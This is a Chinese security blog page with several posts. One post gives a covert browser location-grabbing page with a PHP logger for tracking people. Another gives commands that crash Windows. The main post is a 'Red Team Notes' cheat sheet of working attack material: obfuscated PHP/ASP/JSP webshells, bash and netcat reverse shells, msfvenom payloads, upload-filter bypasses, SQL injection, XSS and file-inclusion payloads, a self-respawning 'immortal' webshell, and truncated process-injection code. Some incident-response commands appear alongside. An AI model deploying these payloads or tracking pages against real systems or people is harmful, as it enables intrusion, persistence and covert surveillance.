首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
52
篇与
的结果
2022-03-07
【每日随记】定位追踪技术 ( 基本思路 )
几种方法1.WIFI定位2.手机归属地3.GPS定位4.手机基站定位5.IP定位WIFI定位通过bssid进行定位,位置比较精准误差较小,缺点需要强大的数据,WIFI定位实现的原理,通过bssid进行于经纬度进行绑定存储到数据库,那么这个数据库需要人更新才会有,不一定就能收到,就跟社工库一样,需要不断的更新(目测是街景车路过扫描到附件WIFI的BSSID并记录下来)。一个人做不到这样的搜集,技术很简单但需要大量的WIFI信息的采集。netsh wlan show networks mode=bssid拿到BSSID到WIFI定位地图搜索即可。 WIFI定位地图IP定位通过公网ip进行定位,只能定位到市百度直接搜索ip,拿到对方ip即可查询,这里推荐ip探针比较方便。 IP探针GPS定位这个是有了对方的GPS经纬度,才可以进行定位。腾讯地图查询代码<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Demo</title> </head> <body> <script> (function() { function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition, errorCallback, { timeout: 10000 }); } else { alert("您的浏览器暂不支持地理位置功能,请更换浏览器再进行尝试。"); location.reload(); } } function showPosition(position) { var latitude = position.coords.latitude; var longitude = position.coords.longitude; var data = { latitude: latitude, longitude: longitude }; fetch('./location.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(response => response.text()) .then(data => { console.log(data); }) .catch(error => { console.error('Error:', error); }); } function errorCallback(error) { var errorMessage = ''; switch (error.code) { case error.PERMISSION_DENIED: errorMessage = "请允许共享权限。"; break; case error.POSITION_UNAVAILABLE: errorMessage = "位置信息不可用。"; break; case error.TIMEOUT: errorMessage = "请求用户地理位置超时。"; break; case error.UNKNOWN_ERROR: errorMessage = "发生未知错误。"; break; } alert(errorMessage); if (error.code === error.PERMISSION_DENIED) { location.reload(); } } getLocation(); })(); </script> </body> </html><?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (isset($data['latitude']) && isset($data['longitude'])) { $latitude = $data['latitude']; $longitude = $data['longitude']; $textToWrite = "经度: $longitude, 纬度: $latitude\n"; file_put_contents('location.txt', $textToWrite, FILE_APPEND | LOCK_EX); echo "接收到的经度是: $longitude, 纬度是: $latitude。数据已保存到文件。"; } else { echo "接收的数据中不包含经纬度信息。"; } } else { echo "非POST请求"; } ?>手机归属地这不用多说了吧,直接搜手机归属地直接可以查,但信息量少只能到市。拿到手机号直接百度也行,会显示的。 手机归属地查询手机基站定位安卓手机查询当前所使用基站信息方式:手机拨号界面,输入##4636##,选择手机信息,即可查看到LAC,cID (CeID)等数据支持的手机型号:ZTE,小米等。不支持的手机型号:诺基亚,华为等。手机基站定位
2022年03月07日
185 阅读
0 评论
9 点赞
2022-02-22
【技术分享】Charles 雷电模拟器抓包配置
charles 配置charles 的代理设置 socks 按我图片的步骤进行设置。设置SSL代理捕获所有流量,要把IP和端口设置成任意。这样做的目的是确保能够完全捕获到所有的流量。点击 Help 选择 "Install Charles Root Certificate"(安装Charles根证书),给自己电脑上安装证书,根据我的图进行安装。保存证书,给雷电模拟器内的安卓手机将信任 Charles 证书。雷电模拟器设置雷电模拟器的网络连接方式,要开启桥接模式这样才能与本机同一网段,这样才能使用代理,我这里设置了静态IP(也可以是DHCP)。把导出的证书文件直接拖放到雷电模拟器窗口中。这样可以方便地将证书文件传输到模拟器内,然后到设置安装证书。cd /data/misc/user/0/cacerts-added/ mount -o remount,rw /system mv * /etc/security/cacerts/ mount -o remount,ro /system当安装好证书后,可以发现它只显示在用户信任的凭据中,为了解决一些抓取APK文件时断网的问题,可以通过MT管理器的终端执行以下命令将证书移动到系统级别。Postern 代理设置配置一下与本机的 charles 进行 socks5 代理连接。再配置一下 "配置规则",如图所示。这样就能够抓包了。
2022年02月22日
39 阅读
0 评论
2 点赞
2022-02-11
【技术分享】王者荣耀重复名原理
简介最近在玩CTF中,发现有一种叫零宽度字符的东西,"它是隐藏不显示的,也是不可打印的,也就是说这种字符用大多数程序或编辑器是看不到的",要是往里插入零宽度字符,我们肉眼是看不出来区别的。最常见的是零宽度空格,它是Unicode字符空格,就像如果在两个字母间加一个零宽度空格,该空格是不可见的,表面上两个字母还是挨在一起的。zero-width-lib在线加密 | Github网址 1.这个项目是用JavaScript写的,这种是带文字的隐写加密,可以用来发一些加密的通话别人也看不到异常。var text = "我喜欢你" text.length // 输出结果 27 var text1 = "我喜欢你" text1.length // 输出结果 4 text === text1 // 输出结果 false2.虽然看不到,但是字符长度是不一样text与text1也不是同一个字符串,只要把字替换成空格的零字符,随便加入或插入一个位置,就又是一个新的字符了,这样就实现了重名的效果。源码使用npm install zero-width-lib"type":"module"1.要有node环境这里我就不多说了,首先新建一个文件夹在里面创建 index.js 文件,然后在这里启动cmd下载第三方库,下载完然后记在 package.json 加入 "type":"module" 不然运行会报错的,然后把以下代码写到 index.js 文件里。import * as z from 'zero-width-lib'; const visble = 'hello world'; const hidden = 'I like you, but just like you'; const encoded = z.encode(visble, hidden); // 'h*********ello world' console.log(encoded) const decoded = z.decode(encoded); // 'inpired by @umpox' // console.log(decoded) // 3. extract ZWC from text const extracted = z.extract(encoded); const vis = extracted.vis; // 'hello world' const hid = extracted.hid; // '*********' console.log(vis,hid) // 4. escape from string matching const forbidden = 'forbidden'; const escaped = z.split(forbidden); // 'f*o*r*b*i*d*d*e*n*' console.log(escaped)2.然后运行一下 index.js 就可以生成结果,可以看到有一些空格不用管,直接全复制 粘贴下就可以看到效果了。
2022年02月11日
127 阅读
0 评论
13 点赞
2022-02-05
【每日随记】电脑有趣的小操作
难以删除的文件夹md 123..\仅内核级程序才具有删除此类文件的权限,普通的删除操作是无效的,因此,一般的木马程序不能删除这类文件,这样的文件保护可以有效地防止木马程序的侵或保护木马程序。Exe伪装成DLL文件运行当一个正常运行的exe程序的后缀名被修改为dll时,它将无法通过双击而正常运行,但是在命令行中运行该程序却是没有问题的。系统蓝屏taskkill /f /fi "pid ge 1"以管理员身份运行cmd,以上命令行强制终止所有PID大于等于1的进程,运行这段代码会导致关键系统进程终止,该命令会导致系统不稳定。taskkill /im svchost.exe /f以管理员身份运行cmd,用于终止名为svchost.exe的进程,/im 表示按名称终止,/f 表示强制终止进程,该命令会导致系统不稳定。wininit 以管理员身份运行powershell,该命令会导致系统不稳定。无法创建的文件名(CON、AUX、NUL…)echo test > C:\con.txt现象:Windows 下无法直接创建 con.txt、aux.txt、nul.txt 等文件。原因:这些是 DOS 时代的保留设备名,内核优先解析为设备而不是文件。解决:用 \\?\ 路径前缀绕过:echo test > \\?\C:\con.txt文件的“时间旅行”copy test.txt test2.txt复制出来的文件 test2.txt 有时修改时间比原文件更早。原因:FAT/NTFS 时间戳精度差异,复制时会四舍五入,看起来像“倒流”。影响:在取证或日志分析中可能导致时间线异常。零字节但占用空间的文件fsutil file createnew bigfile.txt 0现象:文件大小显示为 0,但属性里依然占用 4KB 左右空间。原因:磁盘以簇为单位分配,0 字节文件也至少要占一个簇。无限路径嵌套mklink /D C:\loop C:\loop现象:符号链接指向自身,进入后无限递归,资源管理器卡死。风险:备份或扫描软件可能因此崩溃。Alt+255 空格文件夹md "test[Alt+255]"现象:看起来是 test 文件夹,但实际末尾多了一个不可见字符。结果:输入 cd test 进不去,必须输入完整的不可见符号。桌面图标“幽灵重影”现象:删除文件后,桌面图标依然存在,双击提示“找不到文件”。原因:Explorer 图标缓存未刷新。解决:重建缓存:ie4uinit.exe -ClearIconCache
2022年02月05日
44 阅读
2 评论
15 点赞
2022-02-04
【技术分享】Red Team Notes
信息收集nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描 dirb http://192.168.1.100 # 单线程目录扫描 dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描 curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问 goby fofa hunter # 简单的信息收集编码加解echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值 echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码 echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码 echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码 cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件 hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示 cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串 ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串 find / -name flag* # 匹配前缀为"flag"的文件或目录 (\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限chmod +x filename # 给予文件可执行权限 chmod +r filename # 给予文件可读权限 chmod +w filename # 给予文件可写权限 chmod 755 filename # 给予执行、读权限,同时取消写权限 chmod 700 filename # 给予执行、读、写权限 chmod 777 filename # 给予最高权限 chmod 000 filename # 给予全部无权限 chmod -x filename # 取消文件可执行权限 chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值 rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值 john 1.txt # 使用 John the Ripper 计算压缩包的密码 john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值 crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件 echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行 <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php # REQUEST 提交支持 post get <?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行 # ASP 一句话 <% eval request("cmd") %> # 使用 ASP 代码执行命令 # JSP 一句话 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令 # base64 编码 system <?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令 # 字符拼接 <?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); # 拼接函数名并执行 <?php $str="a=eval"; parse_str($str); $a($_POST['a']); # 使用字符串拼接函数名 <?php $a = "eval"; $a(@$_POST['a']); # 使用字符串赋值函数名 ?>/* eval - 可利用执行系统命令 system() - 执行系统命令 passthru() - 执行系统命令并输出结果 exec() - 执行系统命令并返回结果 shell_exec() - 执行系统命令并返回结果 popen() - 打开一个进程来执行系统命令 proc_open() - 执行系统命令并返回进程资源 */反弹Shell<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制 <?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序 data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据 open('output', 'wb').write(data) # 还原为二进制可执行文件 weevely generate 208 1.php # 生成木马 weevely url password # 连接木马 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell <?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令 <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马 # msfconsole msfconsole -q # 启动metasploit框架 use exploit/multi/handler # 创建监听器 set payload php/meterpreter/reverse_tcp # 设置PHP payload set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload set payload windows/meterpreter_reverse_tcp # 设置Windows payload set lhost 192.168.213.141 # 设置反弹主机 set lport 4444 # 设置监听端口 show options # 查看选项 run # 启动监听 getsystem # Windows提权 nc -lvp 888 # 使用netcat监听端口 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互 nc -lvp 888 > 1.txt # 接收文件 nc 192.168.213.133 888 < 1.txt # 传输文件 nc -e cmd 192.168.100.129 4444 # Windows 反弹shell nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell nc -lvp 4444 # 接收反弹shell python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件) php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件) cat data.json | python -m json.tool # JSON格式化转换上传漏洞// 白名单绕过: X-Forwarded-For: 127.0.0.1 # 伪装请求源ip // 双后缀名绕过:xxx.phpphp MIME绕过:image/jpg // 空格绕过:xxx.jpg空格 .htaccess绕过:AddType application/x-httpd-php .jpg // 大小写绕过:phP PHP Php .user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg // 文件头绕过:GIF89a 89504E47 FFD8FF 后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml <scrip language="php">@eval($_POST['c']);<script> <?php eval($_POST['sh']); <? eval($_POST['sh']); # 去php头绕过 // 可利用执行函数 eval() system() exec() shell_exec() //(反引号也可以) passthru() pcntl_exec() popen() proc_open() create_function()SQL注入语句sqlmap -r 1.txt -dbs -batch sqlmap -r 1.txt -D test -tables -batch sqlmap -r 1.txt -D test -T note -columns -batch sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具 sqlmap -m 1.txt --batch # 批量注入 1' or '1' = '1 # 字符型绕过 0' union select 1,2,3 --+ 0' union select 1,version(), database() #堆叠注入 1'; show databases;# 显示数据库 1'; show tables;# 查看表名 1'; show columns from note# 查看表字段 id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段 id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段 id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固$str = "Is your name O'reilly?"; echo addslashes($str); // 简单加反斜杠 // 输出结果:Is your name O\'reilly? $str = "Is y\our name O\\'reilly\\\?"; echo stripslashes($str); // 简单去除反斜杠 // 输出结果:Is your name O'reilly\? $str = "<script>alert('test')</script>"; echo htmlspecialchars($str); // XSS 简单防御 // 输出结果:<script>alert('test')</script> $str = "select * from users where user_id =1' and 1=1 #"; echo addslashes($str); // SQL注入简单防御 // 输出结果:select * from users where user_id =1\' and 1=1 #系统排查eventvwr.msc # 事件查看器,查看登录、注销、错误等事件 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动注销 4672 使用管理员进行登录 4720 创建用户 # 文件时间排序排查,文件名称可疑排查 %UserProfile%\Recent # 最近操作 %temp% # 临时缓存 %appdata% # 应用数据目录 gpedit.msc # 组策略 systeminfo # 系统信息 services.msc # 应用服务 netstat -ano | findstr ES # 排查可疑网络连接 net user # 查看本地用户 net user Guest # 查看用户详细信息 lusrmgr.msc # 本地用户组 regedit # 注册表 msconfig # 打开启动项 taskschd.msc # 任务计划 # Linux 命令 /var/log/cron # 系统定时任务相关日志 /etc/rc.local /var/log/dmesg # 开机自检信息 /var/log/lastlog # 最后一次登录日志 /var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权 /etc/crontab # 启动项 /etc/profile # 环境变量 cat /etc/passwd # 查看用户是否有可疑 cat /etc/passwd | grep x:0 # 新增的就可能存在 cat /etc/passwd | grep /bin/bash # 查看使用shell的用户 ls -l /proc/XXX/XXXX # 查看对应文件路径 ps –aux | grep pid # 查看pid对应的程序 top -p pid # 监控指定进程 userdel -r xp # 删除用户 并将/home目录下的user目录一并删除 grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数 history # 查看终端命令历史命令 stat /etc/passwd # 查看文件近期修改 ls -lt --time=ctime # 查看最近被修改过的文件 ls -lt --time=ctime /home/kali # 指定文件路径 crontab -l # 查看启动项 creontab -e # 编辑启动项 uname -r # 查看内核版本 rpm -qa | grep apache # 查看是否有这样的软件 ps -ef | grep apache # 查询apache 进程 service httpd restart # 重启httpd firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口 firewall-cmd --reload # 重启防火墙 firewall-cmd --list-ports # 显示运行通过端口 rpm -qa # 查询软件包 service mariadb status # 查看服务状态 service mariadb start # 启动服务 service mariadb restart # 重启服务 rpm -e openssh-server # 删除软件文件包含?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表 ?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容 ?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作 ?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码易语言按钮征码: 查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。 FF 55 FC 5F 5E MFC类程序: 运行程序然后就 CTRL+F,查找特征代码: sub eax,0a 断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件) (或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点) Delphi BC++程序: 740E8BD38B83????????FF93???????? 万能断点: OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。 F3A58BC883E103F3A4E8 条件断点: [ebp-4]!=0x4010AC 总结: MFC: sub eax,0a VC++6.0: sub eax,0a VB语言: 81 6C 24 易语言: FF 55 FC 5F 5E 或 (e-debug) 万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断) Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 蓝屏保护特征码: 55 8B EC BB 06 00 00 00 蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00 API函数断点追数据,比如断点 MessageBoxA 断下来了, 就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。{collapse}{collapse-item label="目录字典" close}.git .git/HEAD .git/index .git/config .git/description source source.php .idea/workspace.xml source.php.bak .source.php.bak source.php.swp README.MD README.md README .gitignore /db/db.mdb .svn .svn/wc.db .svn/entries user.php.bak .hg .DS_store WEB-INF/web.xml WEB-INF/src/ WEB-INF/classes WEB-INF/lib WEB-INF/database.propertie CVS/Root CVS/Entries .bzr/ %3f %3f~ .%3f.swp .%3f.swo .%3f.swn .%3f.swm .%3f.swl _viminfo .viminfo %3f~ %3f~1~ %3f~2~ %3f~3~ %3f.save %3f.save1 %3f.save2 %3f.save3 %3f.bak_Edietplus %3f.bak %3f.back phpinfo.php robots.txt .htaccess .bash_history .svn/ .git/ .index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.phps index.php.rar index.php.zip index.php.7z index.php.tar.gz index.php.txt login.php register register.php test.php upload.php phpinfo.php t.php www.zip www.rar www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar plus qq.txt log.txt wwwroot.rar web.rar dede admin edit Fckeditor ewebeditor bbs Editor manage shopadmin web_Fckeditor login webadmin admin/WebEditor admin/daili/webedit login/ database/ tmp/ manager/ manage/ web/ admin/ shopadmin/ wp-includes/ edit/ editor/ user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ upload/ uploads/ download/ downloads/ manager/ root.zip root.rar wwwroot.zip wwwroot.rar backup.zip backup.rar .svn/entries .git/config .ds_store flag.php fl4g.php f1ag.php f14g.php admin.php 4dmin.php adm1n.php 4dm1n.php admin1.php admin2.php adminlogin.php administrator.php login.php register.php upload.php home.php log.php logs.php config.php member.php user.php users.php robots.php info.php phpinfo.php backdoor.php fm.php example.php mysql.bak a.sql b.sql db.sql bdb.sql ddb.sql users.sql mysql.sql dump.sql data.sql backup.sql backup.sql.gz backup.sql.bz2 backup.zip rss.xml crossdomain.xml 1.txt flag.txt /wp-config.php /configuration.php /sites/default/settings.php /config.php /config.inc.php /conf/_basic_config.php /config/site.php /system/config/default.php /framework/conf/config.php /mysite/_config.php /typo3conf/localconf.php /config/config_global.php /config/config_ucenter.php /lib /data/config.php /data/config.inc.php /includes/config.php /data/common.inc.php /caches/configs/database.php /caches/configs/system.php /include/config.inc.php /phpsso_server/caches/configs/database.php /phpsso_server/caches/configs/system.php 404.php index.html user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ uploads/ download/ downloads/ manager/ phpmyadmin/ phpMyAdmin/{/collapse-item}{/collapse}XSS语句<script>alert(1);</script> <!-- 基本XSS漏洞 --> <body onscroll=alert("xss");> <!-- 滚动时触发XSS --> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 --> <body/onload=alert("xss");> <!-- 页面加载时触发XSS --> <audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS --> <video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS --> <iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS --> <svg onload=alert("xss");> <!-- SVG加载时触发XSS --> <details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS --> <input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS --> <scirpt>alert("xss");</script> <!-- 脚本标签 --> <textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 --> <a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS --> <a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格 <ImG sRc=x onerRor=alert("xss");> # 大小写绕过 <imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过 <img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接 <!-- Unicode编码绕过 --> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <!-- url编码绕过 --> <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <!-- ascii码绕过 --> <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> <!-- hex绕过 --> <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> <!-- 八进制绕过 --> <img src=x onerror=alert('\170\163\163')> <!-- base64绕过 --> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <!-- 十进制IP --> <img src="x" onerror=document.location=`http://2130706433/`> <!-- 八进制IP --> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <!-- 十六进制 --> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤ftp http arp udp telnet smtp username password flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg 666c6167 f JFIF # 关键字文件搜索 nbns # 查找主机名称 http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt ftp contains "USER" and ftp contains "PASS" # 查找账号密码 http contains "uname" # 查看内核版本 http contains "www-data" or http contains "root" # 查看shell连接后权限 http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin tcp.connection.syn # 查看tcp第一次访问 ftp contains "USER" # 过滤FTP账号 http contains "404" # 搜索被爆破哪些目录 tcp.flags.syn==1 # 查看被扫描了哪些端口 tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放 http.request.method == POST or http contains "submit" # 查找表单关键字 http.response.code==200 and http contains "database" # 查看数据库请求成功后 http contains ".log" # 查看存在日志关键字 http contains "<?php eval" http contains "<?php @eval" # 过滤内容存在一句话木马 http.request.uri contains "shell.php" # 过滤url存在敏感文件 ip.port == 3306 and http contains "version=" # mysql版本 http contains "whoami" or http contains "ls" # 查看被入侵后 http contains "acunetix" # 搜索扫描工具特征 一般扫描工具:Awvs, Netsparker, Appscan, Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马<?php // 忽略用户断开请求,保证脚本持续运行 ignore_user_abort(true); // 设置脚本执行时间无限制 set_time_limit(0); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 定义新的shell.php文件名 $file = 'shell.php'; // 编写webshell代码,包含密码验证和命令执行 $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; // 无限循环生成shell.php文件 while (1) { // 写入webshell代码到文件 file_put_contents($file, $code); // 修改文件修改时间,防止被删除 system('touch -m -d "2020-12-01 09:10:12" shell.php'); // 每隔5秒执行一次 usleep(5000); } ?> // passwd=AabyssTeam // POST传参:passwd=AabyssTeam&cmd=system('ls');<?php // 设置脚本执行时间无限制 set_time_limit(0); // 忽略用户断开请求,脚本将后台运行 ignore_user_abort(1); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 无限循环生成shell.php文件 while(1) { // 创建shell.php文件并写入简单的webshell代码 file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>'); // 间隔时间,防止过于频繁 sleep(0); } ?>Linux信息收集// 检查系统发行版本信息 cat /etc/issue // 显示系统发行信息 cat /etc/*-release // 显示系统发行版本 cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本 cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell<?php $a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数 $key = 'qaswedfr'; // 加密密钥 $decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据 $flag = ""; // 存储解密后的数据 // 对每个解密后的字符使用异或运算处理 for($i=0; $i<strlen($decryptedData); $i++){ $test = $decryptedData[$i]; $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符 echo "<br />"; } echo $flag; // 输出解密后的数据 system($flag); // 执行解密后的命令 ?><?php // 定义解密函数 function iJG($BHM) { $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩 for($i=0; $i<strlen($BHM); $i++) { $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1 } return $BHM; } // 调用解密函数,传入加密数据 eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>Webshell大马{cloud title="源码" type="default" url="https://www.52tt.pro/usr/uploads/2022/08/webshell.zip" password=""/}{collapse}{collapse-item label="shellcode调窗口" open}#include <windows.h> // Windows API #include <stdio.h> // 标准输入/输出库 #include <string.h> // 字符串处理库 #include <tlhelp32.h> // 进程快照和工具帮助库 // 获取指定进程名的进程ID WORD GetProcessIdByName(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, processName) == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 主函数 int main() { const char *targetProcessName = "0.exe"; // 目标进程名称 DWORD pid = GetProcessIdByName(targetProcessName); // 获取目标进程ID HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 打开目标进程,赋予所有访问权限 if (hProcess == NULL) { return 1; } // 分配远程内存用于存储注入代码 LPVOID pCode = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { CloseHandle(hProcess); return 1; } // 定义注入的机器码 BYTE Hexcode[] = { 0xC8, 0x00, 